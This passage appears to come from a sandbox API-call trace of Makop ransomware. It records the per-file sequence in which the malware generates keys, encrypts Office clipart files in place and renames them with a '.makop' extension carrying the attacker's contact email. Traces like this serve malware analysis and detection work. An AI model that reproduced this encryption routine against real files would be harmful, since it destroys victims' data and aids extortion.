lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0152.669] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.669] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.670] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.670] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x504, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x504, lpOverlapped=0x0) returned 1 [0152.670] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x510, dwBufLen=0x510 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x510) returned 1 [0152.670] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.670] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x510, lpOverlapped=0x0) returned 1 [0152.670] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.670] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.670] SetEndOfFile (hFile=0xf0) returned 1 [0152.678] GetProcessHeap () returned 0x48a0000 [0152.678] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0152.678] GetProcessHeap () returned 0x48a0000 [0152.678] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0152.678] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0152.678] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02439_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02439_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0152.680] CloseHandle (hObject=0xf0) returned 1 [0152.680] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a54, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02464_.WMF", cAlternateFileName="")) returned 1 [0152.681] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF") returned 63 [0152.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02464_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0152.682] GetProcessHeap () returned 0x48a0000 [0152.682] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0152.682] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0152.682] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0152.682] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0152.687] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.687] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.687] GetProcessHeap () returned 0x48a0000 [0152.687] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0152.687] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0152.687] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.687] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0152.688] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0152.688] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0152.688] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0152.688] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0152.688] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0152.688] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.689] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.689] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.689] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1a54, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1a54, lpOverlapped=0x0) returned 1 [0152.691] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1a60, dwBufLen=0x1a60 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1a60) returned 1 [0152.691] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.691] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1a60, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1a60, lpOverlapped=0x0) returned 1 [0152.691] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.691] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1b34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.692] SetEndOfFile (hFile=0xf0) returned 1 [0152.698] GetProcessHeap () returned 0x48a0000 [0152.698] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0152.698] GetProcessHeap () returned 0x48a0000 [0152.698] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0152.699] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0152.699] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02464_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02464_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0152.701] CloseHandle (hObject=0xf0) returned 1 [0152.701] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe34c8c00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe34c8c00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x574, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02465_.WMF", cAlternateFileName="")) returned 1 [0152.701] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02465_.WMF") returned 63 [0152.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02465_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02465_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0152.702] GetProcessHeap () returned 0x48a0000 [0152.702] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0152.702] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0152.702] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0152.703] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0152.708] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.708] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.708] GetProcessHeap () returned 0x48a0000 [0152.708] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0152.708] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0152.708] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.708] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0152.708] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0152.711] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0152.716] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0152.716] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0152.716] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0152.716] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.716] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.716] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.716] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x574, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x574, lpOverlapped=0x0) returned 1 [0152.717] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x580, dwBufLen=0x580 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x580) returned 1 [0152.717] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.717] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x580, lpOverlapped=0x0) returned 1 [0152.717] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.717] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.717] SetEndOfFile (hFile=0xf0) returned 1 [0152.726] GetProcessHeap () returned 0x48a0000 [0152.726] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0152.726] GetProcessHeap () returned 0x48a0000 [0152.726] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0152.726] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02465_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0152.727] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02465_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02465_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02465_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02465_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0152.729] CloseHandle (hObject=0xf0) returned 1 [0152.730] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02578_.WMF", cAlternateFileName="")) returned 1 [0152.730] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02578_.WMF") returned 63 [0152.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02578_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02578_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0152.734] GetProcessHeap () returned 0x48a0000 [0152.734] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0152.735] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0152.735] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0152.735] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0152.739] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.739] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.739] GetProcessHeap () returned 0x48a0000 [0152.739] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0152.739] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0152.740] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.740] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0152.740] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0152.740] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0152.740] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0152.740] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0152.740] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0152.741] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.741] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.741] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.741] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x19ca, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x19ca, lpOverlapped=0x0) returned 1 [0152.742] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x19d0, dwBufLen=0x19d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x19d0) returned 1 [0152.742] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.743] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x19d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x19d0, lpOverlapped=0x0) returned 1 [0152.743] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.743] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1aa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.743] SetEndOfFile (hFile=0xf0) returned 1 [0152.749] GetProcessHeap () returned 0x48a0000 [0152.749] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0152.749] GetProcessHeap () returned 0x48a0000 [0152.749] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0152.750] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02578_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0152.750] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02578_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02578_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02578_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02578_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0152.751] CloseHandle (hObject=0xf0) returned 1 [0152.752] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6d32800, ftCreationTime.dwHighDateTime=0x1bd4c4e, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6d32800, ftLastWriteTime.dwHighDateTime=0x1bd4c4e, nFileSizeHigh=0x0, nFileSizeLow=0x5fec, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02617_.WMF", cAlternateFileName="")) returned 1 [0152.752] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02617_.WMF") returned 63 [0152.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02617_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02617_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0152.753] GetProcessHeap () returned 0x48a0000 [0152.754] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0152.754] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0152.754] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0152.754] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0152.758] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.758] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.759] GetProcessHeap () returned 0x48a0000 [0152.759] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0152.759] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0152.759] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.759] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0152.759] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0152.760] WriteFile (in: 